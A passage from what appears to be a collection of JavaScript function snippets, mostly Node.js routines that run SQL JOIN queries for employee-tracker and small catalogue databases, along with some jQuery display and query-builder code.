\"+\n \"LEFT JOIN Author ON Author.code = Book.author \"+\n \"WHERE Book.genre = 'poetry' \"+\n \"AND Author.dob >= \"+goldenAgeStart+\" \"+\n \"AND Author.dob <= \"+goldenAgeEnd+\" \"+\n \"ORDER BY surname, yearPublished, title;\";\n\n db.all(query, ready);\n\n function ready(err, data)\n {\n if(err) throw err;\n begin(response, type, err, contents, data);\n }\n}", "getAllEmployeeName(){\n \n //return this.name\n //mysql command\n //select first_name & last_name from employee\n connection.query(\"select * from department RIGHT JOIN role ON role.department_id LEFT JOIN employee ON employee.id\", function(err, res) {\n if (err) throw err;\n \n // Log all results of the SELECT statement\n console.table(res);\n connection.end();\n });\n }", "function fetchPoetryRelated(response, type, err, contents)\n{\n \"use strict\";\n var query = \"SELECT * FROM Book \"+\n \"LEFT JOIN Author ON Author.code = Book.author \"+\n \"WHERE Book.genre = 'poetry-related' \"+\n \"ORDER BY surname, title;\";\n\n db.all(query, ready);\n\n function ready(err, data)\n {\n if(err) throw err;\n makeOthers(response, type, err, contents, data);\n }\n}", "function fetchOtherPoets(response, type, err, contents)\n{\n \"use strict\";\n var query = \"SELECT * FROM Book \"+\n \"LEFT JOIN Author ON Author.code = Book.author \"+\n \"WHERE Book.genre = 'poetry' \"+\n \"AND (Author.dob < \"+goldenAgeStart+\" \"+\n \"OR Author.dob > \"+goldenAgeEnd+\") \"+\n \"ORDER BY surname, yearPublished, title;\";\n\n db.all(query, ready);\n\n function ready(err, data)\n {\n if(err) throw err;\n makeOtherPoets(response, type, err, contents, data);\n }\n}", "findAllEmployees() {\n return this.connection.promise().query(\n \"SELECT employee.id, employee.first_name, employee.last_name, roles.title, department.name AS department, roles.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS manager FROM employee LEFT JOIN roles on employee.role_id = roles.id LEFT JOIN department on roles.department_id = department.id LEFT JOIN employee manager on manager.id = employee.manager_id;\"\n );\n }", "queryHandler (model, query) {\r\n // JOIN aka populate, e.g. join=comments,reviews\r\n if (query.join) {\r\n // Split comma-separated string into an array.\r\n let joins = query.join.split(',')\r\n let shallowJoins = []\r\n // Make a collection of shallow joins. Search for any deep joins\r\n for (let join of joins) {\r\n // If there's a subfield, it's a deep join - Split and popilate the model's subfields now.\r\n if (join.includes('.')) {\r\n const paths = join.split('.')\r\n model = model.populate({\r\n path: paths[0],\r\n populate: { path: paths[1] }\r\n })\r\n } else {\r\n // Otherwise, add to your list of shallow joins.\r\n shallowJoins.push(join)\r\n }\r\n }\r\n // Join all fields w/o deep popilation\r\n // Mongoose can do many simple joins with one function call, if separated by spaces.\r\n if (shallowJoins.length > 0) {\r\n model = model.populate(shallowJoins.join(' '))\r\n }\r\n }\r\n // SELECT, gathering specific fields e.g. select=name\r\n if (query.select) model = model.select(query.select.split(',').join(' '))\r\n return model\r\n }", "function getHouses(res, mysql, context, complete){\n mysql.pool.query(\"SELECT H.house_id AS id, H.house_name AS name, H.sigil AS sigil, L.loc_name AS base FROM Houses H INNER JOIN GoT_Locations L ON L.loc_id = H.base_city ORDER BY name\", function(error, results, fields){\n if(error){\n res.write(JSON.stringify(error));\n res.end();\n }\n context.houses = results;\n complete();\n });\n }", "function viewEmp() {\n connection.query(\n `\n SELECT\n employee.id AS 'Employee ID', \n employee.first_name AS 'First Name', \n employee.last_name AS 'Last Name', \n role.title AS 'Position', \n role.salary AS 'Salary', \n department.name AS 'Department'\n FROM employee\n LEFT JOIN role\n ON employee.role_id = role.id\n LEFT JOIN department\n ON role.department_id = department.id;\n `\n , function (error, res) {\n console.table(res);\n mainMenu();\n }\n );\n}", "async function displayAllEmployees() {\n console.log(' ');\n await connection.query('SELECT e.id, e.first_name AS First_Name, e.last_name AS Last_Name, title AS Title, salary AS Salary, name AS Department, CONCAT(m.first_name, \" \", m.last_name) AS Manager FROM employee e LEFT JOIN employee m ON e.manager_id = m.id INNER JOIN role r ON e.role_id = r.id INNER JOIN department d ON r.department_id = d.id', (err, res) => {\n if (err) throw err;\n console.table(res);\n runApp();\n });\n}", "getAllEmployeeByManager(){\n connection.query(\"select employee.manager_id, employee.first_name, employee.last_name from department RIGHT JOIN role ON role.department_id LEFT JOIN employee ON employee.id\", function(err, res) {\n if (err) throw err;\n \n // Log all results of the SELECT statement\n console.table(res);\n connection.end();\n });\n }", "function employeeSearch() {\n db.query(`SELECT\n employees.id,\n employees.first_name,\n employees.last_name,\n roles.title AS role,\n roles.salary,\n departments.title AS department,\n CONCAT(managers.first_name, ' ', managers.last_name) AS manager\nFROM\n employees\n LEFT JOIN roles ON role_id = roles.id\n LEFT JOIN departments ON department_id = departments.id\n LEFT JOIN managers ON manager_id = managers.id;`,\n (err, res) => {\n if (err) throw err\n console.table(res)\n employeeFilter()\n }\n )\n}", "function getPostWithLikes(){\n // DB many to do SQL to get your data\n db.many(`\n SELECT * FROM likes\n INNER JOIN comments \n ON likes.post_id = comments.post_id\n `)\n // start a callback function to grab data from SQL\n .then((results) =>{\n // Do a forEach to be able to store the object data!\n results.forEach((row) =>{\n console.log(`Post id ${row.post_id} made comment ${row.comment}`)\n\n })\n })\n .catch((e)=> {\n console.log(e)\n })\n}", "function viewEmployees() {\n const query = 'SELECT employee.id, employee.first_name, employee.last_name, roletable.title, department.name AS department, roletable.salary, CONCAT(manager.first_name, \" \", manager.last_name) AS manager FROM employee LEFT JOIN roletable on employee.role_id = roletable.id LEFT JOIN department on roletable.department_id = department.id LEFT JOIN employee manager on manager.id = employee.manager_id';\n connection.query(query, (err, res) => {\n if (err) throw err;\n createTable(res);\n });\n}", "function displayWork() {\n\n for(job in work.jobs){\n $(\"#workExperience\").append(HTMLworkStart); \n //create new div for Work sektion\n var formattedEmployer = HTMLworkEmployer.replace(\"%data%\", work.jobs[job].employer);\n var formattedTitle = HTMLworkTitle.replace(\"%data%\", work.jobs[job].title);\n var formattedEmployerTitle = formattedEmployer + formattedTitle;\n $(\".work-entry:last\").append(formattedEmployerTitle);\n var formattedDates = HTMLworkDates.replace(\"%data%\", work.jobs[job].dates);\n $(\".work-entry:last\").append(formattedDates);\n var formattedLocation = HTMLworkLocation.replace(\"%data%\", work.jobs[job].location);\n $(\".work-entry:last\").append(formattedLocation);\n var formattedDescription = HTMLworkDescription.replace(\"%data%\", work.jobs[job].description);\n $(\".work-entry:last\").append(formattedDescription);\n }\n }", "function showEmployees() {\n //query consult select\n connection.query(`SELECT employee.id, employee.first_name,employee.last_name,role.title AS job_title,role.salary,\n CONCAT(manager.first_name ,\" \", manager.last_name) AS Manager FROM employee LEFT JOIN role ON employee.role_id=role.id LEFT JOIN employee manager ON manager.id = employee.manager_id`, (err, res) => {\n \n \n if (err) throw err;\n \n if (res.length > 0) {\n console.log('\\n')\n console.log('** Employees **')\n console.log('\\n')\n console.table(res);\n }\n //calls the menu to display the question again\n menu();\n });\n \n }", "function getDogs(res, mysql, context, complete) {\n mysql.pool.query(\"SELECT id, name FROM Dogs\", function (error, results, fields) {\n if (error) {\n res.write(JSON.stringify(error));\n res.end();\n }\n context.dogs = results; //define the results as \"dogs\"\n complete(); //call the complete function to increase callbackcount\n });\n }", "function relation(i, items){\n\n\tfor (var j=0; j<jl; j+=2){\n\t\titems[items_relation[j]].classList.remove(\"highlight\");\n\t}\n\n\titems_relation=[];\n\titems_relation=find_related(i, table);\n\n\titems[i].className += \" highlight\";\n\tjl = items_relation.length;\n\n\t// for (var j=0; j<jl; j+=2){\n\t// \titems[items_relation[j]].className += \" highlight\";\n\t// }\n\n\t// for (var z=items_de[0]; z<=items_de[1]; z++){\n\t// \titems[z].classList.remove(\"bright\");\n\t// }\n\n\t// items_de=department_range(i);\n\n\t// for (var z=items_de[0]; z<=items_de[1]; z++){\n\t// \titems[z].className += \" bright\";\n\t// }\n}", "function viewEmp() {\n connection.query(\"SELECT employee.first_name, employee.last_name, emp_role.title, emp_role.salary, department.dept_name, manager.first_name AS 'manager_firstname', manager.last_name AS 'manager_lastname' FROM employee LEFT JOIN emp_role ON employee.role_id = emp_role.id LEFT JOIN department ON emp_role.department_id = department.id LEFT JOIN employee manager ON employee.manager_id = manager.id;\", function (err, res) {\n if (err) throw err;\n console.table(res);\n main();\n });\n}", "displayEmployeeData() {\n return this.connection.promise().query(\n `SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name as department, \n role.salary, CONCAT(e.first_name, ' ', e.last_name) AS manager\n FROM employee \n LEFT JOIN role ON employee.role_id = role.id\n LEFT JOIN department ON role.department_id = department.id\n LEFT JOIN employee AS e ON employee.manager_id = e.id`\n );\n }", "function viewEmployee() {\n\n var query =\n `SELECT e.id, e.first_name, e.last_name, r.title, d.name AS department, r.salary, CONCAT(m.first_name, ' ', m.last_name) AS manager\n FROM employee e\n LEFT JOIN roles r\n ON e.roles_id = r.id\n LEFT JOIN department d\n ON d.id = r.department_id\n LEFT JOIN employee m\n ON m.id = e.manager_id`\n \n connection.query(query, function (err, res) {\n if (err) throw err;\n \n console.table(res); \n init(); \n \n });\n }", "viewAllEmployees() {\n return `SELECT employee.id, employee.first_name, employee.last_name, role.title, dept.name AS department, \n role.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS manager FROM employee \n LEFT JOIN role on employee.role_id = role.id \n LEFT JOIN department dept on role.department_id = dept.id \n LEFT JOIN employee manager on manager.id = employee.manager_id`;\n}", "function viewAllEmployees() {\n const sql = `\n SELECT \n employee.id AS ID,\n employee.first_name AS FirstName, \n employee.last_name AS LastName, \n role.title AS Title, \n role.salary AS Salary, \n department.name AS Department, \n CONCAT(manager.first_name, \" \", manager.last_name) AS Manager\n FROM employee\n LEFT JOIN role \n ON employee.role_id = role.id\n LEFT JOIN department \n ON role.department_id = department.id\n LEFT JOIN employee AS manager\n ON employee.manager_id = manager.id\n ORDER BY employee.id;`\n db.query(sql, (err, response) => {\n if (err) {\n throw(err);\n return;\n }\n console.log(``);\n console.log(chalk.white.bold(`============================================================================================================`));\n console.log(` ` +chalk.white.bold(` Employees `));\n console.log(chalk.white.bold(`============================================================================================================`));\n console.table(response);\n console.log(chalk.white.bold(`============================================================================================================`));\n });\n init();\n}", "function viewByDept() {\n connection.query(\"SELECT first_name, last_name, department.name FROM ((employee INNER JOIN role ON role_id = role.id) INNER JOIN department ON department_id = department.id);\", function (err, res) {\n if (err) throw err;\n console.log(\"\\n All employees retrieved from database by department. \\n\");\n console.table(res);\n askQuestions();\n });\n}", "function employeesSearch() {\n connection.query(\"SELECT * FROM employeeTracker_db.employee\",\n function(err, res) {\n if (err) throw err\n console.table(res)\n runSearch()\n })\n}", "employeeInfo() {\n return connection.query(`SELECT ee.id, ee.first_name, ee.last_name, er.title, ed.dept_name, er.salary, CONCAT(em.first_name,' ',em.last_name) as manager\n FROM employees_db.employee as ee\n LEFT JOIN employees_db.role as er\n ON ee.role_id = er.id\n LEFT JOIN employees_db.department as ed\n ON er.department_id = ed.id\n LEFT JOIN employees_db.employee as em\n on ee.manager_id = em.id`)\n }", "function getThisArtworkAndArtist(res, mysql, context, id, complete) {\n var sql = \"SELECT CONCAT(a.firstName, ' ', a.lastName) AS artistName, a.username, a.artistID, aw.artworkID, aw.url, aw.title, aw.medium, aw.material, aw.description FROM Artworks aw LEFT JOIN Artists a on a.artistID = aw.artistID WHERE aw.artworkID = ?\";\n var inserts = [id];\n mysql.pool.query(sql, inserts, function(error, results, fields) {\n if (error) {\n res.write(JSON.stringify(error));\n res.end();\n }\n context.thisArtworkAndArtist = results[0];\n complete();\n });\n }", "_addJoins(query, listAdapter, where, tableAlias) {\n // Insert joins to handle 1:1 relationships where the FK is stored on the other table.\n // We join against the other table and select its ID as the path name, so that it appears\n // as if it existed on the primary table all along!\n\n const joinPaths = Object.keys(where).filter(\n path => !this._getQueryConditionByPath(listAdapter, path)\n );\n \n const joinedPaths = [];\n listAdapter.fieldAdapters\n .filter(a => a.isRelationship && a.rel.cardinality === '1:1' && a.rel.right === a.field)\n .forEach(({ path, rel }) => {\n \n const { tableName, columnName } = rel;\n const otherTableAlias = `${tableAlias}__${path}`;\n if (!this._tableAliases[otherTableAlias]) {\n this._tableAliases[otherTableAlias] = true;\n // LEFT OUTERJOIN on ... table>.<id> = <otherTable>.<columnName> SELECT <othertable>.<id> as <path> \n query.leftOuterJoin(\n `${tableName} as ${otherTableAlias}`,\n `${otherTableAlias}.${columnName}`,\n `${tableAlias}.id`\n );\n\n if(this._selectNames[path] !== true) { \n query.select(`${otherTableAlias}.id as ${path}`);\n this._selectNames[path] = true; \n } else {\n query.select(`${otherTableAlias}.id as ${path}_${++this._selectNamesCount}`);\n }\n \n joinedPaths.push(path);\n }\n });\n \n for (let path of joinPaths) {\n if (path === 'AND' || path === 'OR') {\n // AND/OR we need to traverse their children \n where[path].forEach(x => this._addJoins(query, listAdapter, x, tableAlias));\n } else {\n \n const otherAdapter = listAdapter.fieldAdaptersByPath[path];\n // If no adapter is found, it must be a query of the form `foo_some`, `foo_every`, etc.\n // These correspond to many-relationships, which are handled separately\n if (otherAdapter && !joinedPaths.includes(path)) {\n // We need a join of the form:\n // ... LEFT OUTER JOIN {otherList} AS t1 ON {tableAlias}.{path} = t1.id\n // Each table has a unique path to the root table via foreign keys\n // This is used to give each table join a unique alias\n // E.g., t0__fk1__fk2\n const otherList = otherAdapter.refListKey;\n const otherListAdapter = listAdapter.getListAdapterByKey(otherList);\n const otherTableAlias = `${tableAlias}__${path}`;\n if (!this._tableAliases[otherTableAlias]) {\n this._tableAliases[otherTableAlias] = true;\n query.leftOuterJoin(\n `${otherListAdapter.tableName} as ${otherTableAlias}`,\n `${otherTableAlias}.id`,\n `${tableAlias}.${path}`\n );\n }\n \n this._addJoins(query, otherListAdapter, where[path], otherTableAlias);\n }\n }\n }\n }", "getEfforts () {\n return this.db.many(sql.getEfforts)\n }", "viewAllEmployeesByDept() {\n return `SELECT employee.id, employee.first_name, employee.last_name, role.title, dept.name AS department, \n role.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS manager FROM employee \n LEFT JOIN role on employee.role_id = role.id \n LEFT JOIN department dept on role.department_id = dept.id \n LEFT JOIN employee manager on manager.id = employee.manager_id\n WHERE dept.name = ?`;\n}", "function viewAll() {\n connection.query(\n \"SELECT e.empid as ID, CONCAT(e.first_name, ' ', e.last_name) as Employee, name as Department, title as Title, salary as Salary, CONCAT(m.first_name, ' ', m.last_name) as Manager FROM employee e LEFT JOIN roles ON roles.roleid = e.role_id LEFT JOIN department ON department.deptid = roles.department_id LEFT JOIN employee m ON m.empid = e.manager_id ORDER BY e.empid\",\n function (err, res) {\n if (err) throw err;\n console.table(res)\n reroute();\n })\n}", "async function viewAllEmployeesByDepartment() {\n console.log(\"\");\n let query = \"SELECT first_name, last_name, department.name FROM ((employee INNER JOIN role ON role_id = role.id) INNER JOIN department ON department_id = department.id);\";\n const rows = await db.query(query);\n console.table(rows);\n}", "getRelated() {}", "function fetchAnthologies(response, type, err, contents)\n{\n \"use strict\";\n var query = \"SELECT * FROM Book \"+\n \"WHERE genre = 'poetry' \"+\n \"AND author IS NULL \"+\n \"ORDER BY yearPublished, title;\";\n\n db.all(query, ready);\n\n function ready(err, data)\n {\n if(err) throw err;\n makeAnthologies(response, type, err, contents, data);\n }\n}", "function getTables() {\n\n var tables = {\n\n 'Clients' : {\n query: 'SELECT ClientID, Title.Description as Title, Forename, Middlename, Surname, '\n + 'AddressLine1, AddressLine2, Town, Postcode, '\n + 'HomePhone, MobilePhone, EMail, isWheelchair, isActive, DateOfBirth '\n + 'FROM (Client LEFT OUTER JOIN Title ON Client.TitleID = Title.ID)',\n DateOnlyFields: {DateOfBirth: true},\n ChoiceOnlyFields: {Gender: ['M', 'F', 'X']}\n },\n 'Destinations' : {\n query: 'SELECT * FROM Destination'\n },\n 'DestinationType' : {},\n 'Drivers' : {\n query: 'SELECT * FROM Driver',\n DateOnlyFields: {DateOfBirth: true}\n },\n 'Jobs' : {}\n };\n \n for (var sTablename in tables) {\n\n if (tables[sTablename].query == undefined) {\n\n tables[sTablename].query = 'SELECT * from ' + sTablename;\n }\n }\n\n getTables = function() {\n return tables;\n };\n\n return tables;\n}", "readAllEmployees() {\r\n return this.connection.query(\r\n \"SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name AS department, role.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS manager FROM employee LEFT JOIN role on employee.role_id = role.id LEFT JOIN department on role.department_id = department.id LEFT JOIN employee manager on manager.id = employee.manager_id;\"\r\n );\r\n }", "_addWheres(whereJoiner, listAdapter, where, tableAlias) {\n for (let path of Object.keys(where)) {\n const condition = this._getQueryConditionByPath(listAdapter, path, tableAlias);\n if (condition) {\n whereJoiner(condition(where[path]));\n } else if (path === 'AND' || path === 'OR') {\n whereJoiner(q => {\n // AND/OR need to traverse both side of the query\n let subJoiner;\n if (path == 'AND') {\n q.whereRaw('true');\n subJoiner = w => q.andWhere(w);\n } else {\n q.whereRaw('false');\n subJoiner = w => q.orWhere(w);\n }\n where[path].forEach(subWhere =>\n this._addWheres(subJoiner, listAdapter, subWhere, tableAlias)\n );\n });\n } else {\n // We have a relationship field\n let fieldAdapter = listAdapter.fieldAdaptersByPath[path];\n if (fieldAdapter) {\n // Non-many relationship. Traverse the sub-query, using the referenced list as a root.\n const otherListAdapter = listAdapter.getListAdapterByKey(fieldAdapter.refListKey);\n this._addWheres(whereJoiner, otherListAdapter, where[path], `${tableAlias}__${path}`);\n } else {\n // Many relationship\n const [p, constraintType] = path.split('_');\n fieldAdapter = listAdapter.fieldAdaptersByPath[p];\n const { rel } = fieldAdapter;\n const { cardinality, tableName, columnName } = rel;\n const subBaseTableAlias = this._getNextBaseTableAlias();\n const otherList = fieldAdapter.refListKey;\n const otherListAdapter = listAdapter.getListAdapterByKey(otherList);\n const subQuery = listAdapter._query();\n let otherTableAlias;\n let selectCol;\n if (cardinality === '1:N' || cardinality === 'N:1') {\n otherTableAlias = subBaseTableAlias;\n selectCol = columnName;\n subQuery\n .select(`${subBaseTableAlias}.${selectCol}`)\n .from(`${tableName} as ${subBaseTableAlias}`);\n // We need to filter out nulls before passing back to the top level query\n // otherwise postgres will give very incorrect answers.\n subQuery.whereNotNull(columnName);\n } else {\n const { near, far } = listAdapter._getNearFar(fieldAdapter);\n otherTableAlias = `${subBaseTableAlias}__${p}`;\n selectCol = near;\n subQuery\n .select(`${subBaseTableAlias}.${selectCol}`)\n .from(`${tableName} as ${subBaseTableAlias}`);\n subQuery.innerJoin(\n `${otherListAdapter.tableName} as ${otherTableAlias}`,\n `${otherTableAlias}.id`,\n `${subBaseTableAlias}.${far}`\n );\n }\n \n this._addJoins(subQuery, otherListAdapter, where[path], otherTableAlias);\n\n // some: the ID is in the examples found\n // none: the ID is not in the examples found\n // every: the ID is not in the counterexamples found\n // FIXME: This works in a general and logical way, but doesn't always generate the queries that PG can best optimise\n // 'some' queries would more efficient as inner joins\n\n if (constraintType === 'every') {\n subQuery.whereNot(q => {\n q.whereRaw('true');\n this._addWheres(w => q.andWhere(w), otherListAdapter, where[path], otherTableAlias);\n });\n } else {\n subQuery.whereRaw('true');\n this._addWheres(\n w => subQuery.andWhere(w),\n otherListAdapter,\n where[path],\n otherTableAlias\n );\n }\n\n // Ensure there therwhereIn/whereNotIn query is run against\n // a table with exactly one column.\n const subSubQuery = listAdapter.parentAdapter.knex\n .select(selectCol)\n .from(subQuery.as('unused_alias'));\n if (constraintType === 'some') {\n whereJoiner(q => q.whereIn(`${tableAlias}.id`, subSubQuery));\n } else {\n whereJoiner(q => q.whereNotIn(`${tableAlias}.id`, subSubQuery));\n }\n }\n }\n }\n }", "getAllEmployeeDepartment(){\n\n connection.query(\"select department.name, employee.first_name, employee.last_name from department RIGHT JOIN role ON role.department_id LEFT JOIN employee ON employee.id\", function(err, res) {\n if (err) throw error\n console.table(res);\n connection.end();\n\n\n\n });\n\n}", "function viewEmployeeDepartment() {\n\n var query =\n `SELECT d.id AS department_id, d.name AS department, e.first_name, e.last_name, r.salary\n FROM employee e\n LEFT JOIN roles r\n ON e.roles_id = r.id\n LEFT JOIN department d\n ON d.id = r.department_id\n LEFT JOIN employee m\n ON m.id = e.manager_id\n ORDER BY d.id`\n\n\n connection.query(query, function (err, res) {\n if (err) throw err;\n\n console.table(res); \n init(); \n \n });\n}", "function displayWork(){\n for (job in work.jobs) {\n $(\"#workExperience\").append(HTMLworkStart);\n\n var formattedEmployer = HTMLworkEmployer.replace(\"%data%\", work.jobs[job].position);\n var formattedWorkTitle = HTMLworkTitle.replace(\"%data%\", work.jobs[job].company);\n \n var formattedEmployerTitle = formattedEmployer + formattedWorkTitle;\n\n //The \"last\"is jQuery element which return last(newly added) position\n $(\".work-entry:last\").append(formattedEmployerTitle);\n\n // add a formatted date\n var formattedWorkDate = HTMLworkDates.replace(\"%data%\", work.jobs[job].years);\n $(\".work-entry:last\").append(formattedWorkDate);\n\n // add a formatted description\n var formattedDescription = HTMLworkDescription.replace(\"%data%\", work.jobs[job].description);\n $(\".work-entry:last\").append(formattedDescription);\n }\n}", "viewEmployees() {\n return this.connection.query(\n 'SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name AS Department, role.salary, CONCAT(manager.first_name, \" \", manager.last_name) AS manager FROM employee LEFT JOIN role on employee.role_id = role.id LEFT JOIN department on role.department_id = department.id LEFT JOIN employee manager on manager.id = employee.manager_id;'\n);\n}", "function viewEmp(){\n connection.query(`\n SELECT e.first_name FirstName, e.last_name LastName, d.name Department, r.title JobTitle, r.salary Salary, e.id EmpID, e.manager_id Manager\n FROM employee e\n LEFT JOIN role r on (e.role_id = r.id)\n LEFT JOIN department d on (r.department_id = d.id)\n LEFT JOIN employee m on (e.manager_id = m.id)\n ORDER BY e.first_name,e.last_name,d.name,r.title;`,(err, results)=>{\n if(err)throw err;\n console.table(results);\n renderAction()\n })\n}", "function viewEmployees(employee) {\n let newQuery = \"SELECT employee.first_name, employee.last_name, roles.title, roles.salary, department.dept_name AS department FROM employee LEFT JOIN roles ON employee.role_id = roles.id LEFT JOIN department ON roles.department_id = department.id\";\n\n databaseConnect.query(newQuery, (err, res) => {\n if (err) throw err;\n \n // old method of gathering employees... too much work imo\n // res.forEach((employee) => {\n // eArray.push({\n // 'id': employee.id, \n // 'first_name': employee.first_name,\n // 'last_name': employee.last_name, \n // 'title': employee.title,\n // 'department': employee.department,\n // 'salary': employee.salary,\n // 'manager': employee.manager,\n // });\n // });\n\n console.log('Here are all active Employees:');\n \n console.log('====================================================================');\n console.table(res);\n console.log('====================================================================');\n\n\n startMenu();\n }); \n}", "function viewEmployees() {\n \n const query = `SELECT first_name, last_name, title FROM employee LEFT JOIN role ON role.id = employee.role_id`;\n\n\tconnection.query(query, function(err, res) {\n\t\tif (err) throw err;\n \n console.table(res);\n\n\t\tstart();\n\t});\n}", "async function getAll() {\n let results = await query(`\n SELECT e.id AS ID, e.first_name AS 'First Name', e.last_name AS 'Last Name', r.title AS 'Title', r.salary AS 'Salary', d.name AS 'Department Name', CONCAT(m.first_name, ' ', m.last_name) AS Manager FROM employee e\n INNER JOIN role r ON e.role_id = r.id\n INNER JOIN department d ON r.department_id = d.id\n LEFT JOIN employee m ON e.manager_id = m.id\n `);\n console.table(results);\n askQuestion();\n}", "function viewDepartments() {\r\n connection.query(\"SELECT employee.first_name, employee.last_name, department.name AS Department FROM employee JOIN role ON employee.role_id = role.id JOIN department ON role.department_id = department.id ORDER BY employee.id;\", \r\n function(err, res) {\r\n if (err) throw err\r\n console.table(res)\r\n questions();\r\n })\r\n}", "function joinCharts(joins){\r\n let joinsCharts = []\r\n for(i in joins){\r\n\tlet childs = ''\r\n\tfor(x in joins[i]){\r\n\t childs += joins[i][x] \r\n\t}\r\n\tjoinsCharts.push(childs)\t \r\n }\r\n return joinsCharts\r\n}", "function getWork(){\n workEl.innerHTML='';\n fetch(urlWork)\n .then(response => response.json())\n .then(data => {\n data.worklist.forEach(work =>{\n workEl.innerHTML +=\n `\n <div class=\"workContent\">\n <li>${work.title} --${work.company}</li> \n </div>\n `; \n })\n })\n}", "viewEmployeesByDepartment() {\n console.log(`\n\n * Viewing All Employees by Department *\n `)\n connection.query(`SELECT employees.id, employees.first_name, employees.last_name, roles.title AS role, departments.name AS department FROM employees LEFT JOIN roles ON employees.role_id = roles.id LEFT JOIN departments ON roles.department_id = departments.id ORDER BY department DESC;`, function(err, res) {\n if (err) throw err;\n console.table(res);\n beginAgain();\n })\n }", "function viewEmp() {\n connection.query(\n \"SELECT employee.id,first_name,last_name,manager,title,salary,department FROM employee JOIN role ON employee.role_id = role.id JOIN department ON role.department_id = department.id\",\n function (err, res) {\n if (err) throw err;\n console.table(res);\n start();\n }\n );\n}", "function getFullEmployeesTable() {\n const query = `\n SELECT e.id, e.first_name, e.last_name, r.title AS role, \n CONCAT(m.first_name, \" \", m.last_name) AS manager \n FROM employee AS e\n LEFT JOIN role AS r\n ON e.role_id = r.id\n LEFT JOIN employee AS m\n ON e.manager_id = m.id`;\n return queryDB(query);\n}", "function viewAllEmployees() {\n console.log(\"Showing all employees...\\n\");\n connection.query(\"SELECT * FROM employee \", function (err, res) {\n if (err) throw err;\n for (var i = 0; i < res.length; i++) {\n console.log(res[i].id + \" | \" + res[i].first_name + \" | \" + res[i].last_name);\n }\n console.log(\"----------------\");\n })\n connection.end();\n}", "function viewEmployees() {\n connection.query(\"SELECT first_name, last_name, title, salary, manager_id FROM employee JOIN role ON employee.role_id = role.id\", (err, result) => {\n if (err) {\n throw err;\n } else {\n console.table(result);\n beginApp();\n }\n });\n}", "getAllEmployees() {\n const sql = `SELECT \n a.id AS 'Employee Id',\n a.first_name AS 'First Name',\n a.last_name AS 'Last Name',\n roles.title AS 'Job Title', \n departments.name AS Department, \n roles.salary AS Salary,\n CONCAT (b.first_name, ' ' , b.last_name) AS Manager\n FROM employees a\n LEFT OUTER JOIN employees b \n ON b.id = a.manager_id \n LEFT JOIN roles\n ON a.role_id = roles.id\n LEFT JOIN departments\n ON roles.department_id = departments.id\n ORDER BY a.id`;\n \n return db.promise().query(sql);\n }", "function getEmployees(callback){\n\n postGresClient.connect(connectionString, function(err, client, done){\n if(err) {\n callback('sorry your connection to postGres failed');\n }else {\n client.query('SELECT * FROM employees order by id',\n [],function(err,result) {\n if(err) {\n callback('getEmployees operation failed!!!');\n }else{\n done();\n callback(null, result.rows);\n }\n });\n }\n\n });\n postGresClient.end();\n }", "function viewEmployees() {\n connection.query(\"SELECT * FROM employee\", \n function(err, res) {\n if (err) throw err\n console.table(res)\n databaseQuestions()\n })\n}", "displayAllEmployees()\n {\n const sql =`SELECT A.id, CONCAT(A.first_name,' ', A.last_name) AS name, roles.title, roles.salary, departments.name AS department, COALESCE(CONCAT(B.first_name, ' ', B.last_name), '') AS manager\n FROM employees A\n JOIN roles ON A.role_id = roles.id\n JOIN departments ON roles.department_id = departments.id\n LEFT JOIN employees B ON A.manager_id = B.id\n ORDER BY A.id`;\n\n this.db.promise().query(sql)\n .then( ([rows]) => {\n\n //log a line break and then a table with data\n console.log(\"\");\n console.table(rows);\n\n //rerun the main application loop\n this.runApplication();\n })\n .catch( err => {\n //catch the error, display the error message and restart the loop\n console.log(`\\nError: ${err.message}\\n`);\n this.runApplication();\n });\n }", "function viewEmployees() {\n connection.query(\"SELECT * FROM employee\", function (err, res) {\n if (err) throw err;\n console.log(\"\\n\" + res.length + \" employees found!\\n\" + \"______________________________________________________________________\\n\");\n for (var i = 0; i < res.length; i++) {\n console.log(\n \"|| \" +\n res[i].id +\n \" ||\\t\" +\n res[i].first_name + \" \" + res[i].second_name +\n \" \\t Role ID: \" +\n res[i].role_id +\n \" \\t Manager ID: \" +\n res[i].manager_id + \"\\n\" + \"______________________________________________________________________\\n\"\n );\n }\n start();\n });\n}", "function display_listing_rows() {\n\n // All the divelog records are stored in the dives array. \n // This function will display the rows in in divelog_listing.html.\n var rowhtml = '';\n\n var table_style = 'border-bottom: 1px solid #9b7824; border-left: 1px solid #9b7824; border-right: 1px solid #9b7824; ';\n table_style += 'width: 100%';\n\n\n // If there is no logged dives, create a row stating as such.\n if(dives.length < 1) {\n rowhtml = '<table style=\"' + table_style + '\" cellspacing=\"0\">';\n rowhtml += ' <tr>';\n rowhtml += ' <td class=\"loglisting_cell\">No dives to display. Go diving and then come back.</td>';\n rowhtml += ' </tr>';\n rowhtml += '</table>';\n }\n\n var row_index = 0;\n LISTING_FIRST = curr_dive_index;\n\n for(var i = curr_dive_index; i < dives.length; i++) {\n if(row_index >= LISTING_TOTAL_ROWS) { break; }\n\n var row_tr = 'row' + row_index; // creating strings: row0, row1, ... row11 \n var row_id = 'row' + row_index + '_id'; // creating strings: row0_id, row1_id, ... row11_id\n var row_color = ((i % 2) == 0) ? 'loglisting_row_even' : 'loglisting_row_odd';\n\n rowhtml += '<table style=\"' + table_style + '\" cellspacing=\"0\">';\n rowhtml += ' <tr id=\"' + row_tr + '\" class=\"' + row_color + '\">';\n rowhtml += ' <td class=\"loglisting_cell\" style=\"width: 32px;\">' + dives[i]['dive_no'];\n rowhtml += ' <input type=\"hidden\" value=\"' + i + '\" id=\"' + row_id + '\" /></td>';\n rowhtml += ' <td class=\"loglisting_cell\" style=\"width: 65px;\">' + dives[i]['dive_date'] + '</td>';\n rowhtml += ' <td class=\"loglisting_cell\" style=\"width: 178px;\">' + dives[i]['location'] + '</td>';\n rowhtml += ' <td class=\"loglisting_cell\" style=\"width: 210px;\">' + dives[i]['site_name'] + '</td>';\n rowhtml += ' <td class=\"loglisting_cell\" style=\"text-align: right; width: 34px;\">' + dives[i]['depth'] + '</td>';\n rowhtml += ' <td class=\"loglisting_cell\" style=\"text-align: right; width: auto;\">' + dives[i]['bottom_time'] + '</td>';\n rowhtml += ' </tr>';\n rowhtml += '</table>';\n\n row_index++;\n 